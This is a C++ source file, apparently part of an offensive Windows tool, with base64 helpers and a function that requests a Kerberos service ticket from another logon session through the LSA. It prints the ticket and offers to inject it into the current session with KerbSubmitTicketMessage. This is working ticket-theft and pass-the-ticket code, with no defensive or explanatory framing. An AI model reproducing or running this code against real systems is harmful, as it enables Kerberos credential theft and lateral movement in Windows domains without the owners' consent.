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tgs.cpp
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tgs.cpp
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#include "stuff.h"
static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
static char* decoding_table = NULL;
void build_decoding_table() {
decoding_table = (char*)malloc(256);
if (decoding_table == NULL) {
exit(-1);
}
for (int i = 0; i < 64; i++) {
decoding_table[(unsigned char)encoding_table[i]] = i;
}
}
unsigned char* base64_decode(const char* data, size_t input_length, size_t* output_length) {
if (decoding_table == NULL) build_decoding_table();
if (input_length % 4 != 0) return NULL;
*output_length = input_length / 4 * 3;
if (data[input_length - 1] == '=') {
(*output_length)--;
}
if (data[input_length - 2] == '=') (*output_length)--;
unsigned char* decoded_data = (unsigned char*)malloc(*output_length);
if (decoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
DWORD sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]];
DWORD triple = (sextet_a << 3 * 6)
+ (sextet_b << 2 * 6)
+ (sextet_c << 1 * 6)
+ (sextet_d << 0 * 6);
if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
}
return decoded_data;
}
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = bytes_to_encode[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}
BOOL Test(HANDLE LsaHandle, ULONG kerberosAP, LUID LogonId) {
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = { KerbQueryTicketCacheMessage, LogonId };
PKERB_QUERY_TKT_CACHE_RESPONSE pKerbCacheResponse;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
ULONG krbQTCacheSizeResponse = 0;
NTSTATUS ProtocolStatus = 0;
NTSTATUS status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, &kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID*)&pKerbCacheResponse, &krbQTCacheSizeResponse, &ProtocolStatus);
if (status == 0) {
if (ProtocolStatus == 0) {
return TRUE;
}
}
return FALSE;
}
BOOL AskTgs(HANDLE hLsa, ULONG AP, LUID logonId, LPCWSTR szTarget, LUID originaLuid) {
std::wcout << L"[+] SPN " << szTarget << L" Validated" << std::endl;
//
/*if (!Test(hLsa, AP, logonId)) {
return FALSE;
}*/
std::wcout << L"[+] LSA Handle, AP, LUID are valid" << std::endl;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
DWORD szData;
USHORT dwTarget;
NTSTATUS packageStatus = 0;
dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData)) {
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_DEFAULT;
pKerbRetrieveRequest->EncryptionType = KERB_ETYPE_DEFAULT;
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
pKerbRetrieveRequest->LogonId = logonId;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);
NTSTATUS status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
status = LsaCallAuthenticationPackage(hLsa, AP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS) {
std::wcout << L"[+] Asking for TGS Success" << std::endl;
std::cout << "[+] Ticket: " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;
std::cout << "[?] Inject Ticket? (Y/N)" << std::endl;
char a;
std::cin >> a;
if (a == 'Y' || a == 'y') {
std::string _ticket = base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize);
size_t kirbiSize = 1;
const char* ticket = _ticket.c_str();
unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket), &kirbiSize);
NTSTATUS packageStatus;
DWORD submitSize, responseSize;
PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
PVOID dumPtr;
submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + kirbiSize;
if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR, submitSize))
{
pKerbSubmit->MessageType = KerbSubmitTicketMessage;
pKerbSubmit->KerbCredSize = kirbiSize;
pKerbSubmit->LogonId = originaLuid;
pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->KerbCredOffset, kirbiTicket, pKerbSubmit->KerbCredSize);
status = LsaCallAuthenticationPackage(hLsa, AP, pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
if ((status == STATUS_SUCCESS))
{
if (packageStatus == STATUS_SUCCESS)
{
std::wcout << L"[+] Injected\n" << std::endl;
status = 0x0;
}
else if (LsaNtStatusToWinError(packageStatus) == 1398) {
std::wcout << L"[!!!!] ERROR_TIME_SKEW between KDC and host computer" << std::endl;
}
else {
DWORD err = LsaNtStatusToWinError(packageStatus);
std::cout << "[-] KerbSubmitTicketMessage / Package :" << err << "\n";
}
}
else std::cout << "[-] KerbSubmitTicketMessage :" << LsaNtStatusToWinError(status) << "\n";
}
}
return TRUE;
}
else {
DWORD ptst = LsaNtStatusToWinError(packageStatus);
std::cout << "[-] LsaCallAp Failed, Protocol Status : " << ptst;
switch (ptst) {
case 1312:
std::cout << " ERROR_NO_SUCH_LOGON_SESSION";
break;
case 1326:
std::cout << " ERROR_LOGON_FAILURE";
break;
}
std::cout << std::endl;
return FALSE;
}
}
else {
std::cout << "[-] LsaCallAp Failed, Function Status : " << LsaNtStatusToWinError(status) << std::endl;
return FALSE;
}
}
else {
DWORD ptst = LsaNtStatusToWinError(packageStatus);
std::cout << "[-] LsaCallAp Failed, Protocol Status : " << ptst;
switch (ptst) {
case 1312:
std::cout << " ERROR_NO_SUCH_LOGON_SESSION";
break;
case 1326:
std::cout << " ERROR_LOGON_FAILURE";
break;
}
std::cout << std::endl;
return FALSE;
}
std::cout << "[-] LsaCallAp Failed, Function Status : " << LsaNtStatusToWinError(status) << std::endl;
return FALSE;
}
}
return FALSE;
}